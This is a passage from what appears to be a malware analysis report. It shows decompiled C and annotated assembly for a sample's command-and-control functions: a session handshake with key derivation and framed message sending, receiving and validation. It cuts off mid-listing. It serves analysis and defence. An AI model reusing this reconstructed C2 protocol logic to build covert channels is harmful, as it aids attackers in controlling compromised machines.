00411be9	4c 8d 05 41 cb 21 00	LEA R8,[DAT_0062e731]
00411bf0	0f 11 43 01	MOVUPS xmmword ptr [RBX + 0x1],XMM0
00411bf4	0f 10 0d 46 cb 21 00	MOVUPS XMM1,xmmword ptr [DAT_0062e741]
00411bfb	48 89 43 21	MOV qword ptr [RBX + 0x21],RAX
00411bff	8b 44 24 3c	MOV EAX,dword ptr [RSP + local_bc]
00411c03	0f 11 4b 11	MOVUPS xmmword ptr [RBX + 0x11],XMM1
00411c07	89 43 29	MOV dword ptr [RBX + 0x29],EAX
00411c0a	48 8b 44 24 08	MOV RAX,qword ptr [RSP + local_f0]
00411c0f	48 83 e8 2d	SUB RAX,0x2d
00411c13	48 89 44 24 28	MOV qword ptr [RSP + local_d0],RAX
00411c18	52	PUSH RDX
00411c19	4c 89 f2	MOV RDX,R14
00411c1c	41 57	PUSH R15
00411c1e	e8 7b f9 ff ff	CALL FUN_0041159e
00411c23	5a	POP RDX
00411c24	59	POP RCX
00411c25	85 c0	TEST EAX,EAX
00411c27	0f 85 27 fe ff ff	JNZ LAB_00411a54
00411c2d	8b 44 24 28	MOV EAX,dword ptr [RSP + local_d0]
00411c31	be 20 00 00 00	MOV ESI,0x20
00411c36	4c 89 e7	MOV RDI,R12
00411c39	c6 05 c4 ca 21 00 01	MOV byte ptr [DAT_0062e704],0x1
00411c40	8d 58 2d	LEA EBX,[RAX + 0x2d]
00411c43	e8 2c 07 00 00	CALL FUN_00412374
00411c48	be 20 00 00 00	MOV ESI,0x20
00411c4d	4c 89 ff	MOV RDI,R15
00411c50	e8 1f 07 00 00	CALL FUN_00412374
00411c55	48 8b 7c 24 10	MOV RDI,qword ptr [RSP + local_e8]
00411c5a	be 20 00 00 00	MOV ESI,0x20
00411c5f	e8 10 07 00 00	CALL FUN_00412374
00411c64	8d 04 2b	LEA EAX,[RBX + RBP*0x1]
LAB_00411c67:
00411c67	48 81 c4 c8 00 00 00	ADD RSP,0xc8
00411c6e	5b	POP RBX
00411c6f	5d	POP RBP
00411c70	41 5c	POP R12
00411c72	41 5d	POP R13
00411c74	41 5e	POP R14
00411c76	41 5f	POP R15
00411c78	c3	RET
LAB_00411c79:
00411c79	83 c8 ff	OR EAX,0xffffffff
00411c7c	c3	RET

C2 session handshake state step

0x411ca1663 bytes

undefined FUN_00411ca1()

C2 session handshake state step

Cited as: E15
Behaviours: B6
Called from: FUN_004001d0
Calls: FUN_00410c5b, FUN_00411361, FUN_004113bd, FUN_00411a07, FUN_00412374, FUN_0041277f, FUN_0041298d, FUN_00417c3c, FUN_0041b0ec

Decompiled C · 150 lines

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

int FUN_00411ca1(ulong param_1)

{
  char cVar1;
  int *piVar2;
  long lVar3;
  undefined4 local_f8;
  undefined4 uStack_f4;
  undefined4 uStack_f0;
  undefined4 uStack_ec;
  undefined4 local_e8;
  undefined4 uStack_e4;
  undefined4 uStack_e0;
  undefined4 uStack_dc;
  undefined1 local_d8 [32];
  undefined1 local_b8 [32];
  undefined4 local_98;
  undefined4 uStack_94;
  undefined4 uStack_90;
  undefined4 uStack_8c;
  undefined4 local_88;
  undefined4 uStack_84;
  undefined4 uStack_80;
  undefined4 uStack_7c;
  undefined4 local_78;
  undefined4 uStack_74;
  undefined4 uStack_70;
  undefined4 uStack_6c;
  undefined4 local_68;
  undefined4 uStack_64;
  undefined4 uStack_60;
  undefined4 uStack_5c;
  undefined4 local_58;
  undefined4 uStack_54;
  undefined4 uStack_50;
  undefined4 uStack_4c;
  undefined4 local_48;
  undefined4 uStack_44;
  undefined4 uStack_40;
  undefined4 uStack_3c;
  undefined4 local_38;
  undefined4 uStack_34;
  undefined4 uStack_30;
  undefined4 uStack_2c;
  undefined4 local_28;
  undefined4 uStack_24;
  undefined4 uStack_20;
  undefined4 uStack_1c;
  
  if (DAT_0062e704 == '\0') {
    return -1;
  }
  if (DAT_0062e700 != '\0') {
    return 1;
  }
  lVar3 = ((ulong)DAT_0062e701 + 0x21) - (ulong)DAT_0062efaa;
  if (lVar3 == 0) {
    lVar3 = 1;
  }
  lVar3 = FUN_0041b0ec(param_1,&DAT_0062efab + DAT_0062efaa,lVar3,0x4000);
  if (lVar3 < 0) {
    piVar2 = (int *)FUN_00417c3c();
    return -(uint)(*piVar2 != 0xb);
  }
  if (lVar3 != 0) {
    DAT_0062efaa = (char)lVar3 + DAT_0062efaa;
    if (DAT_0062e701 == 0) {
      if (DAT_0062efaa < 0x21) {
        return 0;
      }
      cVar1 = FUN_00411a07(&DAT_0062efab,0x21);
      if (cVar1 == '\0') {
        return -1;
      }
      local_f8 = _DAT_0062efac;
      uStack_f4 = uRam000000000062efb0;
      uStack_f0 = uRam000000000062efb4;
      uStack_ec = uRam000000000062efb8;
      local_e8 = _DAT_0062efbc;
      uStack_e4 = uRam000000000062efc0;
      uStack_e0 = uRam000000000062efc4;
      uStack_dc = uRam000000000062efc8;
      FUN_00411361(local_d8,local_b8);
      FUN_00410c5b(&local_98,&DAT_0062e711,local_b8);
      FUN_00410c5b(&local_78,&DAT_0062e711,&local_f8);
      lVar3 = DAT_0062e6f0;
      local_58 = local_98;
      uStack_54 = uStack_94;
      uStack_50 = uStack_90;
      uStack_4c = uStack_8c;
      local_48 = local_88;
      uStack_44 = uStack_84;
      uStack_40 = uStack_80;
      uStack_3c = uStack_7c;
      local_38 = local_78;
      uStack_34 = uStack_74;
      uStack_30 = uStack_70;
      uStack_2c = uStack_6c;
      local_28 = local_68;
      uStack_24 = uStack_64;
      uStack_20 = uStack_60;
      uStack_1c = uStack_5c;
      FUN_004113bd(&local_58,0x40,*(undefined8 *)(DAT_0062e6f0 + 0x1950),
                   (long)*(int *)(DAT_0062e6f0 + 0x1958),&DAT_0062e751,0x20);
      FUN_004113bd(&local_58,0x40,*(undefined8 *)(lVar3 + 0x1940),(long)*(int *)(lVar3 + 0x1948),
                   &DAT_0062e771,0x20);
    }
    else {
      if (DAT_0062efaa < 0x22) {
        return 0;
      }
      cVar1 = FUN_0041298d(&DAT_0062efab,0x22);
      if (cVar1 == '\0') {
        return -1;
      }
      local_f8 = CONCAT13((undefined1)uRam000000000062efb0,_DAT_0062efad);
      uStack_f4 = CONCAT13((undefined1)uRam000000000062efb4,uRam000000000062efb0._1_3_);
      uStack_f0 = CONCAT13((undefined1)uRam000000000062efb8,uRam000000000062efb4._1_3_);
      uStack_ec = CONCAT13(DAT_0062efbc,uRam000000000062efb8._1_3_);
      local_e8 = CONCAT13((undefined1)uRam000000000062efc0,_DAT_0062efbd);
      uStack_e4 = CONCAT13((undefined1)uRam000000000062efc4,uRam000000000062efc0._1_3_);
      uStack_e0 = CONCAT13((undefined1)uRam000000000062efc8,uRam000000000062efc4._1_3_);
      uStack_dc = CONCAT13(uRam000000000062efcc,uRam000000000062efc8._1_3_);
      FUN_0041277f(&DAT_0062e711,&DAT_0062e731,&local_f8);
    }
    _DAT_0062e798 = 1;
    DAT_0062e7a0 = 1;
    DAT_0062e700 = '\x01';
    FUN_00412374(&DAT_0062e711,0x20);
    FUN_00412374(&DAT_0062e705,0xc);
    DAT_0062efaa = 0;
    lVar3 = FUN_0041b0ec(param_1 & 0xffffffff,&DAT_0062e7aa,0x800,0x4000);
    if (0 < lVar3) {
      DAT_0062e7a8 = (short)lVar3;
      return 1;
    }
    if (lVar3 == 0) {
      return 1;
    }
    piVar2 = (int *)FUN_00417c3c();
    if (*piVar2 == 0xb) {
      return 1;
    }
  }
  return -1;
}

Assembly · 133 instructions, 2 annotated, 1 cited

Address	Bytes	Instruction	Comment
00411ca1	41 55	PUSH R13	; E15
00411ca3	41 54	PUSH R12
00411ca5	41 83 cc ff	OR R12D,0xffffffff
00411ca9	55	PUSH RBP
00411caa	48 81 ec e0 00 00 00	SUB RSP,0xe0
00411cb1	80 3d 4c ca 21 00 00	CMP byte ptr [DAT_0062e704],0x0
00411cb8	0f 84 6a 02 00 00	JZ LAB_00411f28
00411cbe	80 3d 3b ca 21 00 00	CMP byte ptr [DAT_0062e700],0x0
00411cc5	41 bc 01 00 00 00	MOV R12D,0x1
00411ccb	0f 85 57 02 00 00	JNZ LAB_00411f28
00411cd1	0f b6 15 29 ca 21 00	MOVZX EDX,byte ptr [DAT_0062e701]
00411cd8	0f b6 35 cb d2 21 00	MOVZX ESI,byte ptr [DAT_0062efaa]
00411cdf	89 fd	MOV EBP,EDI
00411ce1	b8 01 00 00 00	MOV EAX,0x1
00411ce6	4c 8d 2d be d2 21 00	LEA R13,[DAT_0062efab]
00411ced	b9 00 40 00 00	MOV ECX,0x4000
00411cf2	48 83 c2 21	ADD RDX,0x21
00411cf6	48 29 f2	SUB RDX,RSI
00411cf9	48 0f 44 d0	CMOVZ RDX,RAX
00411cfd	4c 01 ee	ADD RSI,R13
00411d00	e8 e7 93 00 00	CALL FUN_0041b0ec
00411d05	48 85 c0	TEST RAX,RAX
00411d08	79 17	JNS LAB_00411d21
00411d0a	e8 2d 5f 00 00	CALL FUN_00417c3c
00411d0f	45 31 e4	XOR R12D,R12D
00411d12	83 38 0b	CMP dword ptr [RAX],0xb
00411d15	41 0f 95 c4	SETNZ R12B
00411d19	41 f7 dc	NEG R12D
00411d1c	e9 07 02 00 00	JMP LAB_00411f28
LAB_00411d21:
00411d21	0f 84 fd 01 00 00	JZ LAB_00411f24
00411d27	02 05 7d d2 21 00	ADD AL,byte ptr [DAT_0062efaa]
00411d2d	45 31 e4	XOR R12D,R12D
00411d30	80 3d ca c9 21 00 00	CMP byte ptr [DAT_0062e701],0x0
00411d37	88 05 6d d2 21 00	MOV byte ptr [DAT_0062efaa],AL
00411d3d	74 54	JZ LAB_00411d93
00411d3f	3c 21	CMP AL,0x21
00411d41	0f 86 e1 01 00 00	JBE LAB_00411f28
00411d47	be 22 00 00 00	MOV ESI,0x22
00411d4c	4c 89 ef	MOV RDI,R13
00411d4f	e8 39 0c 00 00	CALL FUN_0041298d
00411d54	84 c0	TEST AL,AL
00411d56	0f 84 c8 01 00 00	JZ LAB_00411f24
00411d5c	4c 8d 05 0e ca 21 00	LEA R8,[DAT_0062e771]
00411d63	0f 10 05 43 d2 21 00	MOVUPS XMM0,xmmword ptr [DAT_0062efad]
00411d6a	0f 10 0d 4c d2 21 00	MOVUPS XMM1,xmmword ptr [DAT_0062efbd]
00411d71	48 89 e2	MOV RDX,RSP
00411d74	49 8d 48 e0	LEA RCX,[R8 + -0x20]
00411d78	48 8d 71 e0	LEA RSI,[RCX + -0x20]
00411d7c	48 8d 79 c0	LEA RDI,[RCX + -0x40]
00411d80	0f 11 04 24	MOVUPS xmmword ptr [RSP],XMM0
00411d84	0f 11 4c 24 10	MOVUPS xmmword ptr [RSP + local_e8[0]],XMM1
00411d89	e8 f1 09 00 00	CALL FUN_0041277f	; FUN_0041277f: unknown
00411d8e	e9 0d 01 00 00	JMP LAB_00411ea0
LAB_00411d93:
00411d93	3c 20	CMP AL,0x20
00411d95	0f 86 8d 01 00 00	JBE LAB_00411f28
00411d9b	be 21 00 00 00	MOV ESI,0x21
00411da0	4c 89 ef	MOV RDI,R13
00411da3	e8 5f fc ff ff	CALL FUN_00411a07
00411da8	84 c0	TEST AL,AL
00411daa	0f 84 74 01 00 00	JZ LAB_00411f24
00411db0	0f 10 15 f5 d1 21 00	MOVUPS XMM2,xmmword ptr [DAT_0062efac]
00411db7	4c 8d 64 24 40	LEA R12,[RSP + 0x40]
00411dbc	0f 10 1d f9 d1 21 00	MOVUPS XMM3,xmmword ptr [DAT_0062efbc]
00411dc3	48 8d 7c 24 20	LEA RDI,[RSP + 0x20]
00411dc8	4c 89 e6	MOV RSI,R12
00411dcb	4c 8d ac 24 a0 00 00 00	LEA R13,[RSP + 0xa0]
00411dd3	0f 11 14 24	MOVUPS xmmword ptr [RSP],XMM2
00411dd7	0f 11 5c 24 10	MOVUPS xmmword ptr [RSP + local_e8[0]],XMM3
00411ddc	e8 80 f5 ff ff	CALL FUN_00411361
00411de1	4c 89 e2	MOV RDX,R12
00411de4	4c 8d 25 26 c9 21 00	LEA R12,[DAT_0062e711]
00411deb	48 8d 7c 24 60	LEA RDI,[RSP + 0x60]
00411df0	4c 89 e6	MOV RSI,R12
00411df3	e8 63 ee ff ff	CALL FUN_00410c5b
00411df8	4c 89 e6	MOV RSI,R12
00411dfb	48 89 e2	MOV RDX,RSP
00411dfe	48 8d bc 24 80 00 00 00	LEA RDI,[RSP + 0x80]
00411e06	e8 50 ee ff ff	CALL FUN_00410c5b
00411e0b	4c 8b 25 de c8 21 00	MOV R12,qword ptr [DAT_0062e6f0]
00411e12	4c 89 ef	MOV RDI,R13
00411e15	0f 10 64 24 60	MOVUPS XMM4,xmmword ptr [RSP + local_98[0]]
00411e1a	0f 10 6c 24 70	MOVUPS XMM5,xmmword ptr [RSP + local_88[0]]
00411e1f	0f 10 b4 24 80 00 00 00	MOVUPS XMM6,xmmword ptr [RSP + local_78[0]]
00411e27	41 b9 20 00 00 00	MOV R9D,0x20
00411e2d	4c 8d 05 1d c9 21 00	LEA R8,[DAT_0062e751]
00411e34	0f 10 bc 24 90 00 00 00	MOVUPS XMM7,xmmword ptr [RSP + local_68[0]]
00411e3c	49 63 8c 24 58 19 00 00	MOVSXD RCX,dword ptr [R12 + 0x1958]
00411e44	be 40 00 00 00	MOV ESI,0x40
00411e49	0f 11 a4 24 a0 00 00 00	MOVUPS xmmword ptr [RSP + local_58[0]],XMM4
00411e51	49 8b 94 24 50 19 00 00	MOV RDX,qword ptr [R12 + 0x1950]
00411e59	0f 11 ac 24 b0 00 00 00	MOVUPS xmmword ptr [RSP + local_48[0]],XMM5
00411e61	0f 11 b4 24 c0 00 00 00	MOVUPS xmmword ptr [RSP + local_38[0]],XMM6
00411e69	0f 11 bc 24 d0 00 00 00	MOVUPS xmmword ptr [RSP + local_28[0]],XMM7
00411e71	e8 47 f5 ff ff	CALL FUN_004113bd
00411e76	49 63 8c 24 48 19 00 00	MOVSXD RCX,dword ptr [R12 + 0x1948]
00411e7e	4c 89 ef	MOV RDI,R13
00411e81	49 8b 94 24 40 19 00 00	MOV RDX,qword ptr [R12 + 0x1940]
00411e89	41 b9 20 00 00 00	MOV R9D,0x20
00411e8f	4c 8d 05 db c8 21 00	LEA R8,[DAT_0062e771]
00411e96	be 40 00 00 00	MOV ESI,0x40
00411e9b	e8 1d f5 ff ff	CALL FUN_004113bd
LAB_00411ea0:
00411ea0	be 20 00 00 00	MOV ESI,0x20
00411ea5	48 8d 3d 65 c8 21 00	LEA RDI,[DAT_0062e711]
00411eac	48 c7 05 e1 c8 21 00 01 …	MOV qword ptr [DAT_0062e798],0x1
00411eb7	48 c7 05 de c8 21 00 01 …	MOV qword ptr [DAT_0062e7a0],0x1
00411ec2	c6 05 37 c8 21 00 01	MOV byte ptr [DAT_0062e700],0x1
00411ec9	e8 a6 04 00 00	CALL FUN_00412374
00411ece	be 0c 00 00 00	MOV ESI,0xc
00411ed3	48 8d 3d 2b c8 21 00	LEA RDI,[DAT_0062e705]
00411eda	e8 95 04 00 00	CALL FUN_00412374
00411edf	b9 00 40 00 00	MOV ECX,0x4000
00411ee4	ba 00 08 00 00	MOV EDX,0x800
00411ee9	89 ef	MOV EDI,EBP
00411eeb	48 8d 35 b8 c8 21 00	LEA RSI,[DAT_0062e7aa]
00411ef2	c6 05 b1 d0 21 00 00	MOV byte ptr [DAT_0062efaa],0x0
00411ef9	e8 ee 91 00 00	CALL FUN_0041b0ec
00411efe	48 85 c0	TEST RAX,RAX
00411f01	7e 0f	JLE LAB_00411f12
00411f03	66 89 05 9e c8 21 00	MOV word ptr [DAT_0062e7a8],AX
00411f0a	41 bc 01 00 00 00	MOV R12D,0x1
00411f10	eb 16	JMP LAB_00411f28
LAB_00411f12:
00411f12	41 bc 01 00 00 00	MOV R12D,0x1
00411f18	74 0e	JZ LAB_00411f28
00411f1a	e8 1d 5d 00 00	CALL FUN_00417c3c
00411f1f	83 38 0b	CMP dword ptr [RAX],0xb
00411f22	74 04	JZ LAB_00411f28
LAB_00411f24:
00411f24	41 83 cc ff	OR R12D,0xffffffff
LAB_00411f28:
00411f28	48 81 c4 e0 00 00 00	ADD RSP,0xe0
00411f2f	44 89 e0	MOV EAX,R12D
00411f32	5d	POP RBP
00411f33	41 5c	POP R12
00411f35	41 5d	POP R13
00411f37	c3	RET

checks header type, length and sequence…

0x412010225 bytes

undefined FUN_00412010()

checks header type, length and sequence of a received frame in the second session mode and opens it via 0x411680

Cited as: E15, E32
Behaviours: B6
Called from: FUN_0041215b
Calls: FUN_0041149d, FUN_00411680, FUN_004122c9

Decompiled C · 32 lines

ulong FUN_00412010(undefined8 param_1,ulong param_2,char *param_3,ulong param_4,undefined8 param_5,
                  ulong *param_6)

{
  char cVar1;
  char cVar2;
  int iVar3;
  undefined8 extraout_RDX;
  ulong uVar4;
  ulong local_58;
  undefined4 local_4c;
  char local_48;
  undefined1 local_44 [20];
  
  if (((0x14 < param_4 && param_6 != (ulong *)0x0) && (param_3 != (char *)0x0)) &&
     (cVar1 = *param_3, cVar2 = FUN_004122c9(2), cVar1 == cVar2)) {
    uVar4 = (ulong)(ushort)(*(ushort *)(param_3 + 1) << 8 | *(ushort *)(param_3 + 1) >> 8);
    if ((*param_6 == (ulong)*(ushort *)(param_3 + 3)) && (uVar4 + 0x15 <= param_4)) {
      FUN_0041149d(local_44,(ulong)*(ushort *)(param_3 + 3),extraout_RDX,uVar4 + 0x10);
      local_4c = *(undefined4 *)param_3;
      local_48 = param_3[4];
      iVar3 = FUN_00411680(param_1,&local_58,param_3 + 5);
      if ((iVar3 == 0) && ((local_58 == uVar4 && (local_58 <= param_2)))) {
        *param_6 = *param_6 + 1;
        return local_58;
      }
    }
  }
  return 0xffffffff;
}

Assembly · 71 instructions, 1 annotated, 1 cited

Address	Bytes	Instruction	Comment
00412010	41 57	PUSH R15	; E15; E32
00412012	41 56	PUSH R14
00412014	41 55	PUSH R13
00412016	41 54	PUSH R12
00412018	49 89 cc	MOV R12,RCX
0041201b	55	PUSH RBP
0041201c	53	PUSH RBX
0041201d	48 83 ec 38	SUB RSP,0x38
00412021	48 83 f9 14	CMP RCX,0x14
00412025	0f 96 c0	SETBE AL
00412028	4d 85 c9	TEST R9,R9
0041202b	48 89 74 24 08	MOV qword ptr [RSP + local_60],RSI
00412030	0f 94 c1	SETZ CL
00412033	08 c8	OR AL,CL
00412035	75 08	JNZ LAB_0041203f
00412037	48 89 d3	MOV RBX,RDX
0041203a	48 85 d2	TEST RDX,RDX
0041203d	75 08	JNZ LAB_00412047
LAB_0041203f:
0041203f	83 c8 ff	OR EAX,0xffffffff
00412042	e9 9b 00 00 00	JMP LAB_004120e2
LAB_00412047:
00412047	40 8a 2a	MOV BPL,byte ptr [RDX]
0041204a	49 89 fd	MOV R13,RDI
0041204d	bf 02 00 00 00	MOV EDI,0x2
00412052	4d 89 c6	MOV R14,R8
00412055	4d 89 cf	MOV R15,R9
00412058	e8 6c 02 00 00	CALL FUN_004122c9
0041205d	40 38 c5	CMP BPL,AL
00412060	75 dd	JNZ LAB_0041203f
00412062	66 8b 6b 01	MOV BP,word ptr [RBX + 0x1]
00412066	0f b7 73 03	MOVZX ESI,word ptr [RBX + 0x3]
0041206a	66 c1 c5 08	ROL BP,0x8
0041206e	0f b7 ed	MOVZX EBP,BP
00412071	49 39 37	CMP qword ptr [R15],RSI
00412074	75 c9	JNZ LAB_0041203f
00412076	48 8d 45 15	LEA RAX,[RBP + 0x15]
0041207a	4c 39 e0	CMP RAX,R12
0041207d	77 c0	JA LAB_0041203f
0041207f	48 8d 44 24 24	LEA RAX,[RSP + 0x24]
00412084	48 8d 4d 10	LEA RCX,[RBP + 0x10]
00412088	41 b9 05 00 00 00	MOV R9D,0x5
0041208e	48 89 c7	MOV RDI,RAX
00412091	e8 07 f4 ff ff	CALL FUN_0041149d
00412096	8b 13	MOV EDX,dword ptr [RBX]
00412098	48 8d 74 24 10	LEA RSI,[RSP + 0x10]
0041209d	4c 89 ef	MOV RDI,R13
004120a0	89 54 24 1c	MOV dword ptr [RSP + local_4c],EDX
004120a4	8a 53 04	MOV DL,byte ptr [RBX + 0x4]
004120a7	88 54 24 20	MOV byte ptr [RSP + local_48],DL
004120ab	48 8d 53 05	LEA RDX,[RBX + 0x5]
004120af	50	PUSH RAX
004120b0	41 56	PUSH R14
004120b2	4c 8d 44 24 2c	LEA R8,[RSP + 0x2c]
004120b7	e8 c4 f5 ff ff	CALL FUN_00411680
004120bc	5a	POP RDX
004120bd	59	POP RCX
004120be	85 c0	TEST EAX,EAX
004120c0	0f 85 79 ff ff ff	JNZ LAB_0041203f
004120c6	48 8b 44 24 10	MOV RAX,qword ptr [RSP + local_58]
004120cb	48 39 e8	CMP RAX,RBP
004120ce	0f 85 6b ff ff ff	JNZ LAB_0041203f
004120d4	48 3b 44 24 08	CMP RAX,qword ptr [RSP + local_60]
004120d9	0f 87 60 ff ff ff	JA LAB_0041203f
004120df	49 ff 07	INC qword ptr [R15]
LAB_004120e2:
004120e2	48 83 c4 38	ADD RSP,0x38
004120e6	5b	POP RBX
004120e7	5d	POP RBP
004120e8	41 5c	POP R12
004120ea	41 5d	POP R13
004120ec	41 5e	POP R14
004120ee	41 5f	POP R15
004120f0	c3	RET

sends a framed C2 message in session…

0x4120f1106 bytes

undefined FUN_004120f1()

sends a framed C2 message in session mode

Cited as: E15
Behaviours: B6
Called from: FUN_004001d0
Calls: FUN_0041174f, FUN_00411f38, FUN_004129d6

Decompiled C · 22 lines

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 FUN_004120f1(undefined4 param_1,undefined8 param_2,undefined8 param_3)

{
  int iVar1;
  undefined1 auStack_818 [2056];
  
  if (DAT_0062e701 == '\0') {
    iVar1 = FUN_00411f38(auStack_818,0x800,param_2,param_3,&DAT_0062e751);
  }
  else {
    iVar1 = FUN_004129d6();
  }
  if ((-1 < iVar1) && (iVar1 = FUN_0041174f(param_1,auStack_818,(long)iVar1), iVar1 == 0)) {
    _DAT_0062e798 = _DAT_0062e798 + 1;
    return 1;
  }
  return 0;
}

Assembly · 32 instructions, 2 annotated, 1 cited

Address	Bytes	Instruction	Comment
004120f1	41 54	PUSH R12	; E15
004120f3	4c 8d 0d 9e c6 21 00	LEA R9,[DAT_0062e798]
004120fa	48 89 d1	MOV RCX,RDX
004120fd	48 89 f2	MOV RDX,RSI
00412100	55	PUSH RBP
00412101	4d 8d 41 b9	LEA R8,[R9 + -0x47]
00412105	89 fd	MOV EBP,EDI
00412107	be 00 08 00 00	MOV ESI,0x800
0041210c	48 81 ec 08 08 00 00	SUB RSP,0x808
00412113	80 3d e7 c5 21 00 00	CMP byte ptr [DAT_0062e701],0x0
0041211a	49 89 e4	MOV R12,RSP
0041211d	4c 89 e7	MOV RDI,R12
00412120	74 07	JZ LAB_00412129
00412122	e8 af 08 00 00	CALL FUN_004129d6	; FUN_004129d6: unknown
00412127	eb 05	JMP LAB_0041212e
LAB_00412129:
00412129	e8 0a fe ff ff	CALL FUN_00411f38
LAB_0041212e:
0041212e	85 c0	TEST EAX,EAX
00412130	79 04	JNS LAB_00412136
LAB_00412132:
00412132	31 c0	XOR EAX,EAX
00412134	eb 1a	JMP LAB_00412150
LAB_00412136:
00412136	48 63 d0	MOVSXD RDX,EAX
00412139	4c 89 e6	MOV RSI,R12
0041213c	89 ef	MOV EDI,EBP
0041213e	e8 0c f6 ff ff	CALL FUN_0041174f
00412143	85 c0	TEST EAX,EAX
00412145	75 eb	JNZ LAB_00412132
00412147	48 ff 05 4a c6 21 00	INC qword ptr [DAT_0062e798]
0041214e	b0 01	MOV AL,0x1
LAB_00412150:
00412150	48 81 c4 08 08 00 00	ADD RSP,0x808
00412157	5d	POP RBP
00412158	41 5c	POP R12
0041215a	c3	RET

receives and de-frames C2 messages in…

0x41215b366 bytes

undefined FUN_0041215b()

receives and de-frames C2 messages in the session mode

Cited as: E15
Behaviours: B6
Called from: FUN_004001d0
Calls: FUN_004117de, FUN_00412010, FUN_004122c9, FUN_00412ad8, FUN_00417c3c, FUN_0041b0ec

Decompiled C · 76 lines

int FUN_0041215b(undefined8 param_1,undefined8 param_2,ulong param_3,int *param_4)

{
  char cVar1;
  char cVar2;
  int iVar3;
  long lVar4;
  int *piVar5;
  ulong uVar6;
  ulong uVar7;
  undefined8 uVar8;
  ulong uVar9;
  
  if (DAT_0062e700 != '\x01') {
    return -1;
  }
  if ((param_4 != (int *)0x0) && (DAT_0062e7a8 < 0x800)) {
    lVar4 = FUN_0041b0ec(param_1,&DAT_0062e7aa + DAT_0062e7a8,0x800 - (ulong)DAT_0062e7a8,0x4040);
    if (lVar4 < 0) {
      piVar5 = (int *)FUN_00417c3c();
      if (*piVar5 == 0xb) {
LAB_004121d0:
        uVar9 = 0;
        while (uVar9 + 0x15 <= (ulong)DAT_0062e7a8) {
          uVar8 = 5;
          cVar1 = (&DAT_0062e7aa)[uVar9];
          if (DAT_0062e701 == '\0') {
            uVar8 = 2;
          }
          cVar2 = FUN_004122c9(uVar8);
          if (cVar2 == cVar1) {
            uVar7 = (ulong)CONCAT11((char)*(undefined2 *)(&DAT_0062e7ab + uVar9),
                                    (char)((ushort)*(undefined2 *)(&DAT_0062e7ab + uVar9) >> 8));
            if (param_3 < uVar7) break;
            lVar4 = uVar7 + 0x15;
            uVar7 = uVar9 + lVar4;
            if (DAT_0062e7a8 < uVar7) break;
            uVar6 = (ulong)*(ushort *)((long)&DAT_0062e7ac + uVar9 + 1);
            if (uVar6 == DAT_0062e7a0) {
              if (DAT_0062e701 == '\0') {
                iVar3 = FUN_00412010(param_2,param_3,&DAT_0062e7aa + uVar9,lVar4,&DAT_0062e771);
              }
              else {
                iVar3 = FUN_00412ad8();
              }
              if (iVar3 < 0) {
                return -1;
              }
              *param_4 = iVar3;
              FUN_004117de(uVar7);
              return 1;
            }
            uVar9 = uVar7;
            if (DAT_0062e7a0 <= uVar6) {
              return 0;
            }
          }
          else {
            uVar9 = uVar9 + 1;
          }
        }
        if (uVar9 != 0) {
          FUN_004117de(uVar9);
        }
        return -(uint)(0x7ff < DAT_0062e7a8);
      }
    }
    else if (lVar4 != 0) {
      DAT_0062e7a8 = DAT_0062e7a8 + (short)lVar4;
      goto LAB_004121d0;
    }
  }
  return -1;
}

Assembly · 104 instructions, 2 annotated, 1 cited

Address	Bytes	Instruction	Comment
0041215b	80 3d 9e c5 21 00 01	CMP byte ptr [DAT_0062e700],0x1	; E15
00412162	0f 85 5d 01 00 00	JNZ LAB_004122c5
00412168	41 57	PUSH R15
0041216a	41 56	PUSH R14
0041216c	41 55	PUSH R13
0041216e	41 54	PUSH R12
00412170	55	PUSH RBP
00412171	53	PUSH RBX
00412172	48 89 cb	MOV RBX,RCX
00412175	48 83 ec 18	SUB RSP,0x18
00412179	48 85 c9	TEST RCX,RCX
0041217c	75 08	JNZ LAB_00412186
LAB_0041217e:
0041217e	83 c8 ff	OR EAX,0xffffffff
00412181	e9 30 01 00 00	JMP LAB_004122b6
LAB_00412186:
00412186	49 89 f4	MOV R12,RSI
00412189	0f b7 35 18 c6 21 00	MOVZX ESI,word ptr [DAT_0062e7a8]
00412190	66 81 fe ff 07	CMP SI,0x7ff
00412195	77 e7	JA LAB_0041217e
00412197	48 89 d5	MOV RBP,RDX
0041219a	4c 8d 2d 09 c6 21 00	LEA R13,[DAT_0062e7aa]
004121a1	ba 00 08 00 00	MOV EDX,0x800
004121a6	b9 40 40 00 00	MOV ECX,0x4040
004121ab	48 29 f2	SUB RDX,RSI
004121ae	4c 01 ee	ADD RSI,R13
004121b1	e8 36 8f 00 00	CALL FUN_0041b0ec
004121b6	48 85 c0	TEST RAX,RAX
004121b9	79 0c	JNS LAB_004121c7
004121bb	e8 7c 5a 00 00	CALL FUN_00417c3c
004121c0	83 38 0b	CMP dword ptr [RAX],0xb
004121c3	75 b9	JNZ LAB_0041217e
004121c5	eb 09	JMP LAB_004121d0
LAB_004121c7:
004121c7	74 b5	JZ LAB_0041217e
004121c9	66 01 05 d8 c5 21 00	ADD word ptr [DAT_0062e7a8],AX
LAB_004121d0:
004121d0	45 31 f6	XOR R14D,R14D
LAB_004121d3:
004121d3	0f b7 05 ce c5 21 00	MOVZX EAX,word ptr [DAT_0062e7a8]
004121da	49 8d 56 15	LEA RDX,[R14 + 0x15]
004121de	48 39 c2	CMP RDX,RAX
004121e1	77 46	JA LAB_00412229
004121e3	4b 8d 54 35 00	LEA RDX,[R13 + R14*0x1]
004121e8	80 3d 12 c5 21 00 00	CMP byte ptr [DAT_0062e701],0x0
004121ef	bf 05 00 00 00	MOV EDI,0x5
004121f4	48 89 54 24 08	MOV qword ptr [RSP + local_40],RDX
004121f9	44 8a 3a	MOV R15B,byte ptr [RDX]
004121fc	75 05	JNZ LAB_00412203
004121fe	bf 02 00 00 00	MOV EDI,0x2
LAB_00412203:
00412203	e8 c1 00 00 00	CALL FUN_004122c9
00412208	48 8b 54 24 08	MOV RDX,qword ptr [RSP + local_40]
0041220d	44 38 f8	CMP AL,R15B
00412210	74 09	JZ LAB_0041221b
00412212	4d 8d 7e 01	LEA R15,[R14 + 0x1]
00412216	e9 83 00 00 00	JMP LAB_0041229e
LAB_0041221b:
0041221b	66 8b 4a 01	MOV CX,word ptr [RDX + 0x1]
0041221f	86 e9	XCHG CL,CH
00412221	0f b7 c9	MOVZX ECX,CX
00412224	48 39 cd	CMP RBP,RCX
00412227	73 0f	JNC LAB_00412238
LAB_00412229:
00412229	4d 85 f6	TEST R14,R14
0041222c	74 78	JZ LAB_004122a6
0041222e	4c 89 f7	MOV RDI,R14
00412231	e8 a8 f5 ff ff	CALL FUN_004117de
